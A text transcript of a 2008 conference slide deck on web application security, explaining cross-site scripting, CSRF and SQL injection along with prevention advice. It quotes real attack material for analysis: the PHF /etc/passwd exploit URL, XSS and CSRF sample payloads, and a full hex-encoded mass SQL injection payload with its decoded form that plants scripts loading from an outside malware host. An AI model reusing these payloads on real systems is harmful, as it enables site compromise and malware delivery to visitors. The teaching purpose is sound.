+ All Categories
Home > Technology > Web Application Security Ny Cyber Sec Conf

Web Application Security Ny Cyber Sec Conf

Date post: 10-Nov-2014
Category:
Upload: aung-khant
View: 1,251 times
Download: 1 times
Share this document with a friend
Description:
 
Popular Tags:
55
If You Don’t Get Web Application Security Right, I Hope You’re Good at Incident Response... 11 th Annual New York State Cyber Security Conference June 5, 2008 Brian Reilly CSAC IRT Manager, NYS CSCIC Symantec Professional Services
Transcript
Page 1: Web Application Security Ny Cyber Sec Conf

If You Don’t Get Web ApplicationSecurity Right, I Hope You’reGood at Incident Response...

11th Annual New York State Cyber Security ConferenceJune 5, 2008

Brian ReillyCSAC IRT Manager, NYS CSCICSymantec Professional Services

Page 2: Web Application Security Ny Cyber Sec Conf

Introductions• About Me

– Incident Response, Intrusion Detection, and Security Operations at NYS CSCIC

• http://www.cscic.state.ny.us– Symantec Vulnerability Research

• http://www.symantec.com/research

• You?– IT Security– Application Developers– Systems and Network Engineering– Managers, Process Owners, Project Managers

Page 3: Web Application Security Ny Cyber Sec Conf

Agenda• Web and HTTP Refresher• Three Web Application Vulnerability Types

– Cross-Site Scripting (XSS)– Cross-Site Request Forgery (CSRF)– SQL Injection

• What Happens When They’re Exploited?– What do the attacks look like?– Now What: Detection, Analysis, and Response

• How to Decrease Your Risk

Page 4: Web Application Security Ny Cyber Sec Conf

HTTP Overview• HyperText Transfer Protocol• Like many other protocols, security was an

afterthought• Sensitive information typically stored/passed in

Cookies• Even new web technologies (AJAX, .NET, Web

Services etc.) are typically wrapped in HTTP• HTTPS looks like HTTP, wrapped in an

encrypted tunnel• SSL provides transport-layer security, but does

little to protect the underlying application

Page 5: Web Application Security Ny Cyber Sec Conf

HTTP Overview

http://www.google.com/mail

GET /mail/index.html HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1)Accept: text/htmlAccept-Language: en-us,en;q=0.5Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Connection: closeReferer: http://www.google.com/mygoogle.html Cookie: gsessionid=3A950170854.304378

HTTP/1.1 200 OKDate: Thu, 05 May 2008 16:22:46 GMTServer: ApacheCache-Control: max-age=64800Expires: Fri, 07 May 2008 10:22:46 GMTConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8

<html>….web page data goes here…</html>

Web ClientWeb Server

Page 6: Web Application Security Ny Cyber Sec Conf

Web Application Vulnerabilities• We’ve done a good job with traditional network security

• The attackers and attacks have evolved

• Web Application Vulnerabilities are prime targets because:– Firewalls and proxies will pass the majority of HTTP/HTTPS

traffic– Network IDS/IPS may not be in a position to observe HTTPS– Many Internet-facing applications– There are a number of “legacy” applications and applications

that were not built with security as a requirement

Page 7: Web Application Security Ny Cyber Sec Conf

CVE requests by vulnerability type, courtesy of MITRE*:

2006 (January-October)• #1 Cross Site Scripting - 939 (21.5%)• #2 SQL Injection - 613 (14%)• #3 PHP includes - 414 (9.5%) 2005• #1 Cross Site Scripting – 725 (16%)• #2 SQL Injection - 584 (12.9%)• #3 Buffer overflows - 445 (9.8%)2004• #1 Buffer overflows - 391 (15.4%)• #2 Cross Site Scripting - 276 (10.9%)• #3 SQL Injection - 140 (5.5%)

(*) http://cwe.mitre.org/vuln-trends.html#table1

A Growing Threat

Page 8: Web Application Security Ny Cyber Sec Conf

Validating User Input

• All of the vulnerabilities we’ll talk about today are the result of not validating and sanitizing user input

• All user-controlled input should be considered untrusted

Page 9: Web Application Security Ny Cyber Sec Conf

1% of the Sources of User Input• It’s anything and everything that the user can

control AND • It’s anything and everything that the programmer

cannot/does not control, e.g.:

• Command-line arguments; URL values; web form data; system name; user name; Web Browser type; Cookie names; Data in Cookies; system time/date; username; environment variables; filenames; the files in a ZIP file; Email subject; email sender; Email recipients; random data; the name on an SSL certificate; etc…

Page 10: Web Application Security Ny Cyber Sec Conf

Web Input Validation Vulnerabilities are Nothing New…

• PHF Bug (CERT Advisory 1996-06)• Affected default installs of the NCSA and Apache Web Servers• Any client could run commands by sending a URL similar to:

http://www.victim.com/cgi-bin/phf?QAlias=%0acat%20/etc/passwd• What the Web client sent:

GET /cgi-bin/phf?QAlias=%0acat%20/etc/passwd HTTP/1.0• What the Web application (phf) then sent to the underlying Unix OS:

cat /etc/passwd• What the OS sent back to the Web Server, for the client:

root:0:a4GhtL9Kj34RR:/:/bin/sh:1:1jdoe:1001:G8BKleE0PjsPm:/home/jdoe:/bin/csh:1:1...

Page 11: Web Application Security Ny Cyber Sec Conf

Cross-Site Scripting (XSS)

Page 12: Web Application Security Ny Cyber Sec Conf

XSS Overview• Cross-Site Scripting (XSS)• Misleading name = Misunderstood Vulnerability Class• Think of it as HTML, JavaScript, etc. Injection• Discussed in CERT Advisory CA-2000-02• Steadily increasing as a commonly found vulnerability• Can affect any web application language• Direct risk to the client; indirect risk to the server• XSS Vulnerabilities can vary in severity based on a number of

factors, including application architecture

• Occurs when an application does not properly encode HTML entities in user input, e.g.:

<script>blah</script> vs. &lt;script&gt;blah&lt;/script&gt;

Page 13: Web Application Security Ny Cyber Sec Conf

XSS Overview• Like Gaul, XSS attacks can be divided into three

main parts:– Type 0 – Local Resource– Type 1 – Reflected Attack

• Visit a malicious site; click on a malicious link• http://www.site.tld/app.jsp?foo=<script>alert(‘hi’)</script>• http://www.site.tld/app.jsp?foo=%3Cscript%3Ealert(%91hi%92)%3C/script%3E

– Type 2 – Persistent/Stored Attack• Username stored and presented as <b>Brian</b>

All types require some user interaction, but Type 2 attacks can be triggered by “just using an application”

Page 14: Web Application Security Ny Cyber Sec Conf

Persistent XSS Overview

!

Attacker sets up XSS payload by injecting malicious JavaScript into a Web site

User visits the Web site; script code is executed on the client host

Exploit is triggered; e.g. cookie theft and information disclosure!

Page 15: Web Application Security Ny Cyber Sec Conf

Got Holes? (XSS Edition)

<script>alert(‘hi’)</script>

Page 16: Web Application Security Ny Cyber Sec Conf

Got Holes? (XSS Edition)

Page 17: Web Application Security Ny Cyber Sec Conf

Possible XSS Payloads• Basic:

– Redirection• Set JavaScript -> document.location

– Cookie Theft• Cookie theft can lead to session hijacking/impersonation, information

disclosure, etc.• Same origin policy limits scope• XSS payload on .google.com can access Google cookies; XSS payload on

evilhacker.com cannot access Google cookies.(*)• Advanced

– CSRF (Cross Site Request Forgery)• Think Application Use Hijacking

– Portscanning– Browser History Retrieval– Client Eavesdropping– Full client control

(* Absent some other client vulnerability)

Page 18: Web Application Security Ny Cyber Sec Conf

XSS: Real Life Example #1

Page 19: Web Application Security Ny Cyber Sec Conf

Preventing XSSFor Developers:

• Input Filtering is key– Define “goodness”, not “badness”– Properly Encode HTML Entities– Trust NO user-supplied input

• Browser Type, Computer Name, User Name, HTTP Referer, All HTTP header content, application variables, etc.

• Output Filtering– Another layer of security, in case input filtering fails– May be appropriate in some cases

• Set HTTPOnly Attribute on Cookies– Prevents Cookie theft, but doesn’t stop other attack payloads– Note: This is not honored by all browsers

Page 20: Web Application Security Ny Cyber Sec Conf

Cross-Site Request Forgery (CSRF)

Page 21: Web Application Security Ny Cyber Sec Conf

CSRF• Cross Site Request Forgery (CSRF)• Like XSS, the name is misleading• A malicious web site contains code to force a

user to make a request against another web site• If you visit a web page an attacker controls, he

can hijack your browser• Your browser will gladly send all cookies,

SessionIDs, etc. to the target site– That’s how the Web works

Page 22: Web Application Security Ny Cyber Sec Conf

CSRF

• Attacks can force both GET and POST requests

• There are ways to prevent CSRF, but…• If XSS vulnerabilities also exist in the

application, an attacker can probably defeat most CSRF countermeasures

Page 23: Web Application Security Ny Cyber Sec Conf

CSRF Overview

CSRF Payload causes the user to submit a web request; the browser gladly sends any cookies/sessions tokens it has for that site, e.g.:

http://www.bank.tld/transfer.asp?amount=1000&from_acct=victim&to_acct=evil_harpo

www.news-blogs.tld

www.bank.tld

Attacker injects CSRF payload into Site A to force a request against Site B

User visits a Web site !

Page 24: Web Application Security Ny Cyber Sec Conf

Preventing CSRF

For Developers:

• Eliminate all XSS vulnerabilities

• Design applications to require a unique, cryptographically-generated “action token” for each action

• Require periodic re-authentication for certain actions (note: security vs. convenience)

Page 25: Web Application Security Ny Cyber Sec Conf

Avoiding CSRF AttacksFor End Users:

• (Selectively) Disable JavaScript– e.g. Firefox NoScript Plugin– Will break some application functionality

• Avoid disreputable Web sites• Avoid casual browsing while logged into

sensitive sites• Avoid storing web application credentials

– Saved/Persistent Cookies– Saved Passwords

Page 26: Web Application Security Ny Cyber Sec Conf

SQL Injection

Page 27: Web Application Security Ny Cyber Sec Conf

What is SQL?• SQL stands for Structured Query Language • Allows us to access a database • ANSI and ISO standard• SQL can:

– execute queries against a database – retrieve data from a database – insert new records in a database– update records in a database– delete records from a database

• Most databases have propriety extensions for additional functionality

Page 28: Web Application Security Ny Cyber Sec Conf

What is SQL Injection?• SQL Injection is the ability to covertly send

commands to a database, through another application’s existing interfaces (e.g. a Web login form)

• For Web applications, the SQL Injection request is sent by a Web Client (e.g. a Web Browser)

• SQL Injection is a subset of fuzzing: sending random or unexpected data to an application

Page 29: Web Application Security Ny Cyber Sec Conf

The Risk of SQL Injection

• SQL Injection can:– Disclose sensitive information– Allow data tampering– Run SQL commands with elevated privileges– Execute system commands– Gain further access into an internal network

Page 30: Web Application Security Ny Cyber Sec Conf

Anatomy of a SQL Injection Attack

OS

Server

App Code

Firewall allows TCP Ports 80 and 443 from the Internet

Firewall only allows DB Ports from the Web Server

Our Web server is patched and running a hardened OS SQL Database

HTTP

The Attacker sends an HTTP Request, with an embedded SQL statement

The Web App then handsThe SQL statement to theDatabase

SQL

Page 31: Web Application Security Ny Cyber Sec Conf

Got Holes? (SQL Edition)

Page 32: Web Application Security Ny Cyber Sec Conf

Vulnerable Code Sample

Consider the following code, where the variable $variety comes from a user submitting a web form:

...$query = “SELECT * FROM wines WHERE variety = ’” . $variety . “’”;$response = DB->query($query);

print $response; ...

We’re OK if he types in cabernet:

SELECT * FROM wines WHERE variety = ‘cabernet’

Page 33: Web Application Security Ny Cyber Sec Conf

Exploiting the HoleBut how about something else, like:

cabernet’ or 1=1

SELECT * from wines where variety = ‘cabernet’ or 1=1’

Now consider:

SELECT * FROM users WHERE lastName = ‘smith’ or 1=1’SELECT * FROM bankAccounts WHERE acctNum = ‘0123456’ or 1=1’SELECT * FROM customers WHERE ccNum = ‘123456789012345’ or 1=1’

Page 34: Web Application Security Ny Cyber Sec Conf

Advanced Exploitation• SQL Injection Vulnerabilities may allow an

attacker to:– Bypass SQL-based authentication – Modify data in the DB– Execute System Commands

• What else Can you DBAs do?

• All of this happens over 80/TCP and 443/TCP, and looks like “normal” web traffic!

Page 35: Web Application Security Ny Cyber Sec Conf

Fixing this Problem• Let’s go back to our original vulnerable code:...sanitize($variety);$query = “SELECT * FROM wines WHERE variety = ’“ . $variety . “’”;$response = DB->query($query);print $response; ...sub sanitize { # code in here to remove single quotes, unexpected characters, # special characters, etc. We may just want to allow A-Z and # spaces....}...

Now that we’ve fixed the problem, onto...

Page 36: Web Application Security Ny Cyber Sec Conf

The Bad News: It’s not just SQL…

OS

Server

App Code

Firewall allows TCP Ports 80 and 443 from the Internet

Our Web server is patched and running a hardened OS Legacy Systems

SQL Database

LDAP

Any backend system that accepts “remote commands” from an application could potentially be vulnerable to similar attack methods ??

Page 37: Web Application Security Ny Cyber Sec Conf

The Good News

Most of these vulnerabilities can be eliminated by checking and sanitizing ALL user input

(The fine print: Finding all possible sources of user input isn’t always easy. Assume the user can manipulate all client data, and sanitize everything.)

Page 38: Web Application Security Ny Cyber Sec Conf

Avoiding SQL Injection Bugs

• Validate and sanitize all user input• Use parameterized SQL queries• Determine where the app interacts with

the database• Review all code from the above item again • Validate all user input again

Page 39: Web Application Security Ny Cyber Sec Conf

SQL: Real Life Example #1

Page 40: Web Application Security Ny Cyber Sec Conf

SQL: Real Life Example #2

* Courtesy XKCD

Page 41: Web Application Security Ny Cyber Sec Conf

Recent Automated SQL Injection Attacks

• Began in December 2007• Automated attack initially targets vulnerable web applications for

SQL Injection• Attack tries to add a malicious HTML <script> tag into every row of

every table of vulnerable databases• In many cases, the <script> is then displayed as web content• Over 70,000 Web servers compromised during the first wave• More client computers compromised via client-side vulnerabilities• The initial attack exploited any ASP application that was vulnerable

to SQL injection and running MS-SQL• Some modifications in the attack could have made it effective

against different types of systems, vulnerability classes, etc.• One attack tool was effective against an entire vulnerability class

and architecture

Page 42: Web Application Security Ny Cyber Sec Conf

Attack Dataflow

Attacker (bot or script) crawls the Internet for Web servers and sends multiple SQL injection attempts to all web application interfaces

<script…>

Malicious script tag is inserted into the DB and displayed on a web page

Victim Client

Victim Server

uc8010.com

When a client visits the compromised site, they are silently redirected to uc8010.com and served client-side exploits and malware

Page 43: Web Application Security Ny Cyber Sec Conf

Attack Tool Interface

* From http://isc.sans.org/diary.html?storyid=4294

Features:

• Automated!

• Leverages Google

• Customized Searches

• Customized Payloads

Page 44: Web Application Security Ny Cyber Sec Conf

Sample SQL Injection Attack Payload

POST /your/vulnerable/code.asp Y=2008&S=12345;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- HTTP/1.0

Page 45: Web Application Security Ny Cyber Sec Conf

SQL Injection Attack (Decoded)POST /your/vulnerable/code.asp Y=2008&S=12345;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://c.uc8010.com/0.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor%20AS%20NVARCHAR(4000));EXEC(@S);--| HTTP/1.0

Page 46: Web Application Security Ny Cyber Sec Conf

The Secondary Attack PayloadsScript content injected into vulnerable DB tables:

<script src=http://c.uc8010.com/0.js></script>

This page would direct the victim to a series of web pages that contained multiple client-side exploits, similar to:

<iframe width='0' height='0' src='http://61.188.38.185/wow/Ms06067.html'></iframe>

Software and vulnerabilities targeted included:

• MS06-014 (MDAC)• MS06-067 (Internet Explorer)• RealPlayer• MPS StormPlayer (Movie Player)• XunLei (P2P Client)

Successful exploitation would result in additional malware (keyloggers, etc.) being pushed to the client victim.

Page 47: Web Application Security Ny Cyber Sec Conf

Attack Methodology Mutation

• The SQL injection attack code is added to botnets in April/May 2008

• Numbers and locations of attack sources change dramatically

• The URLs of the injected content change as the attacks spread– Over malicious 50 domain names used– Makes one-off web filtering an uphill battle

Page 48: Web Application Security Ny Cyber Sec Conf

Attack Payload MutationThe SQL Injection Payloads and Obfuscation Methods Changes:

GET /vulnerable/code.asp? id=100&a=9999%3BUPDATE+TBL%5FMYDATA+SET+MYCONTENT%3DSUBSTRING(CAST(MYCONTENT+AS+VARCHAR(8000)),1,1350)%2BCHAR(32)%2BCHAR(118)%2BCHAR(105)%2BCHAR(97)%2BCHAR(103)%2BCHAR(114)%2BCHAR(97)%2BCHAR(32)%2BCHAR(115)%2BCHAR(105)%2BCHAR(108)%2BCHAR(100)%2BCHAR(101)%2BCHAR(110)%2BCHAR(97)[more encoded data…]+WHERE+RECORD%5FID+%3D+100%2D%2D HTTP/1.0

DECODED:; UPDATE TBL_MYDATA SET MYCONTENT=SUBSTRING([Blob]) WHERE RECORD_ID=100

[…] CHAR(118) CHAR(105) CHAR(97) CHAR(103) CHAR(114) CHAR(97) […] = […] v i a g r a […]

Page 49: Web Application Security Ny Cyber Sec Conf

What Can We Learn?• As network and server security improves, clients and

web apps continue to become a popular target

• Worms are getting better at exploiting custom softwareand entire vulnerability classes

• We’re seeing more multi-vector and multi-target attacks

• Defense-in-depth is still effective:– Monitoring / Response– Best Practices for Networks and Systems– Application Security

Page 50: Web Application Security Ny Cyber Sec Conf

Avoiding These (and other) Web App Vulnerabilities

• Make security part of the SDLC• Identify all the sources of user input• Validate and sanitize all user input• Whitebox (source code) testing• Blackbox (app penetration) testing• Determine at-risk sections of the

application, and re-review those (DB interaction, data display, command execution, etc.)

Page 51: Web Application Security Ny Cyber Sec Conf

Tools to Identify SQL Injection Vulnerabilities

• Vulnerability scanners – Nessus– Nikto– Commercial Web App Scanners

• SQL-Injection Discovery Tools– SQueaL, Absinthe, SQLInjector, others

• Client-side Web proxies– Web Scarab, Pantera, Paros Proxy

• Source code analyzers

Page 52: Web Application Security Ny Cyber Sec Conf

References and Further Reading

Books• Software Security Series (Addison-Wesley)• The Art of Software Security Testing (Addison-Wesley /Symantec

Press)• The Art of Software Security Assessment (Addison-Wesley)• Hunting Security Bugs (Microsoft Press)• 19 Deadly Sins of Software Security (McGraw-Hill ) • XSS Attacks (Syngress)

Online• Open Web Application Security Project (OWASP),

http://www.owasp.org• Build Security In Project, https://buildsecurityin.us-cert.gov• CGISecurity, http://www.cgisecurity.net• CSCIC, http://www.cscic.state.ny.us

Page 53: Web Application Security Ny Cyber Sec Conf

Demo

A Quick Visit to BadStore.Net

Page 54: Web Application Security Ny Cyber Sec Conf

Demo: BadStore.net• 10MB bootable Trinux image (ISO), with a very

vulnerable web commerce environment.• Burn it to CD or use as a VM image• Released under the GNU Public License / Free!• Fun for the whole family!

– Scan it!– Test XSS, SQL injection, and many other classes of web app

attacks!– Provides plenty of “known bad code” to audit and fix

• Goes without saying, but DON’T connect it to a public network

Page 55: Web Application Security Ny Cyber Sec Conf

Thank You!

Q&A

Contact:Brian Reilly

[email protected][email protected]


Recommended